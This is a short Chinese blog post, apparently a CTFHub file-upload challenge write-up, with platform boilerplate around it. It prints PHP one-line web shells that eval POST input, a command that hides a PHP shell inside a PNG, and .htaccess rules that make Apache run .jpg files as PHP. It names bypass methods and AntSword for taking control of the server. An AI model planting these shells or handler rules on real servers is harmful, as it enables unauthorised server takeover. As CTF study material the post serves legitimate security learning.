ctfhub 文件上传

最新推荐文章于 2024-08-28 02:10:36 发布

parkour-

最新推荐文章于 2024-08-28 02:10:36 发布

阅读量767

点赞数 4

文章标签： php web安全

本文链接：https://blog.csdn.net/ccfly1012/article/details/120295009

版权

本文详细介绍了CTF中常见的文件上传漏洞利用技术，包括一句话木马、.htaccess文件利用、MIME类型绕过、00截断和双写绕过等方法。通过实例演示了如何在各种验证机制下成功上传恶意文件，并利用蚁剑等工具获取服务器权限。

摘要由CSDN通过智能技术生成

<?php
@eval($_POST['hack'])
?>

<script language="php">@eval($_POST['pass'])</script>

首先准备一个比较小的png文件(可以用画图画一个)，然后有个php小马

命令如下:

copy 1.png/a+1.php/b 2.png

[htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能]()

简单来说，就是我们上传一个.htaccess文件到服务器，然后服务器之后会将特定格式的文件以php格式解析。

版本一：
<FilesMath  ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>

版本二：
AddType application/x-httpd-php .jpg

我们直接上传一个一句话木马即可

关注